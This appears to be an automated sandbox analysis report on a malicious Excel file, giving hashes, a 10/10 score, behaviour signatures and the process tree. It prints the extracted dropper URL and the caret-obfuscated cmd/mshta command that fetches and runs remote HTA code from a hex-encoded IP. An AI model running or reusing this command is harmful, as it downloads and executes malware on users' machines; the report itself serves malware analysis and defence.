Analysis

  • max time kernel
    136s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 21:06

General

  • Target

    67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c.xls

  • Size

    71KB

  • MD5

    fad5c85a9115f2c85fdcf41bdaa3d0e7

  • SHA1

    09c9d0b3d06560b7a8b55076d11ac27a535375ab

  • SHA256

    67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c

  • SHA512

    98406cddadedc929c165059a30320e28b9278f9c8a5d79941104a43bfc99c5926f7ecd8b47aa9a39b361167767c57ae9dba6787e554480183aaedab21323a99b

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        PID:1324

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1688-115-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-116-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-117-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-128-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

    Filesize

    64KB

  • memory/1688-129-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

    Filesize

    64KB

  • memory/1688-285-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-286-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-287-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB

  • memory/1688-288-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

    Filesize

    64KB